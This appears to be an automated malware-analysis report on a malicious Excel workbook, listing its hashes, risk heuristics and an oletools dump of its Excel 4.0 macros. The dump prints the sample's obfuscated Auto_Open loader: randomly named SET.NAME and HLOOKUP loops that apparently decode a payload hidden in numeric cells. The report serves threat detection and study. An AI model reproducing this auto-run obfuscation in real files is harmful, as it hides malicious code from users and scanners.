Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e74d7d06912dc406…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:40:24 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 76d84efc129d8550a35797d466d976a5 SHA-1: 6db713ba2d6406722c762f6613e4d016e5a8f961 SHA-256: e74d7d06912dc406a5f3f505cbcffce234f4c0bd719e24d552b606d8197c470c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6961 bytes
SHA-256: c8a4df085ddbae15a23db708a016e7a5cc2866af812a0d3aa63ba81d74a39a74
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wbBiTyileA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B165 
' 0018     25 LABEL : Cell Value, String Constant - BQDlvEFgHk len=0 
' 0018     26 LABEL : Cell Value, String Constant - BQwlQrPAbHf len=0 
' 0018     27 LABEL : Cell Value, String Constant - cBwiyGXlYlrs len=0 
' 0018     20 LABEL : Cell Value, String Constant - Cedur len=0 
' 0018     20 LABEL : Cell Value, String Constant - DVOHH len=0 
' 0018     25 LABEL : Cell Value, String Constant - FwczNSDsdp len=0 
' 0018     22 LABEL : Cell Value, String Constant - GvjZeBS len=0 
' 0018     27 LABEL : Cell Value, String Constant - HBkVmPocHmVo len=0 
' 0018     21 LABEL : Cell Value, String Constant - iRiMYi len=0 
' 0018     23 LABEL : Cell Value, String Constant - kSbaBDsC len=0 
' 0018     24 LABEL : Cell Value, String Constant - MbtxnmqeE len=0 
' 0018     23 LABEL : Cell Value, String Constant - PbuFqquI len=0 
' 0018     26 LABEL : Cell Value, String Constant - PhqQbvFEQUg len=0 
' 0018     26 LABEL : Cell Value, String Constant - pXVnpuAtWdK len=0 
' 0018     21 LABEL : Cell Value, String Constant - wnrrhE len=0 
' 0018     24 LABEL : Cell Value, String Constant - xrbhnNJMu len=0 
' 0018     24 LABEL : Cell Value, String Constant - yytoIvqtn len=0 
' 0018     22 LABEL : Cell Value, String Constant - YZrozqF len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZnvfUzeJozau len=0 
' 0018     23 LABEL : Cell Value, String Constant - zXIgEMtp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wbBiTyileA,R70,"",261.00000000000000000000
'  wbBiTyileA,R71,"",-901.00000000000000000000
'  wbBiTyileA,R72,"",957.00000000000000000000
'  wbBiTyileA,R73,"",107.00000000000000000000
'  wbBiTyileA,B74,"SET.NAME("xrbhnNJMu",0+VALUE("0"))",""
'  wbBiTyileA,R74,"",470.00000000000000000000
'  wbBiTyileA,R75,"",-550.00000000000000000000
'  wbBiTyileA,B77,"SET.NAME("pXVnpuAtWdK",xrbhnNJMu)",""
'  wbBiTyileA,B79,"SET.NAME("iRiMYi",xrbhnNJMu)",""
'  wbBiTyileA,B84,"SET.NAME("BQDlvEFgHk",COUNTA(zXIgEMtp))",""
'  wbBiTyileA,B89,"SET.NAME("Cedur",COUNTA(GvjZeBS))",""
'  wbBiTyileA,B92,[],""
'  wbBiTyileA,B94,"SET.NAME("cBwiyGXlYlrs","")",""
'  wbBiTyileA,B97,"pXVnpuAtWdK",""
'  wbBiTyileA,B101,"SET.NAME("PhqQbvFEQUg",HLOOKUP("*",zXIgEMtp,pXVnpuAtWdK,FALSE))",""
'  wbBiTyileA,B104,"HBkVmPocHmVo",""
'  wbBiTyileA,B109,"SET.NAME("MbtxnmqeE",xrbhnNJMu)",""
'  wbBiTyileA,B113,[],""
'  wbBiTyileA,B117,"MbtxnmqeE",""
'  wbBiTyileA,B120,"YZrozqF",""
'  wbBiTyileA,B122,"BQwlQrPAbHf",""
'  wbBiTyileA,B124,"FwczNSDsdp",""
'  wbBiTyileA,B127,"SET.NAME("kSbaBDsC",VALUE(HLOOKUP("*",GvjZeBS,FwczNSDsdp,FALSE)))",""
'  wbBiTyileA,B129,"yytoIvqtn",""
'  wbBiTyileA,B131,"cBwiyGXlYlrs",""
'  wbBiTyileA,B136,"iRiMYi",""
'  wbBiTyileA,B138,NEXT(),""
'  wbBiTyileA,B143,"DVOHH",""
'  wbBiTyileA,B148,[],""
'  wbBiTyileA,B152,"wnrrhE",""
'  wbBiTyileA,B156,NEXT(),""
'  wbBiTyileA,B161,RETURN(),""
'  wbBiTyileA,B188,"SET.NAME("PbuFqquI",B74)",""
'  wbBiTyileA,B191,"zXIgEMtp",""
'  wbBiTyileA,B196,"SET.NAME("GvjZeBS",R43C15)",""
'  wbBiTyileA,B198,"SET.NAME("wnrrhE",206)",""
'  wbBiTyileA,B200,"SET.NAME("ZnvfUzeJozau",2)",""
'  wbBiTyileA,B205,PbuFqquI(),""
'  wbBiTyileA,B206,HALT(),""

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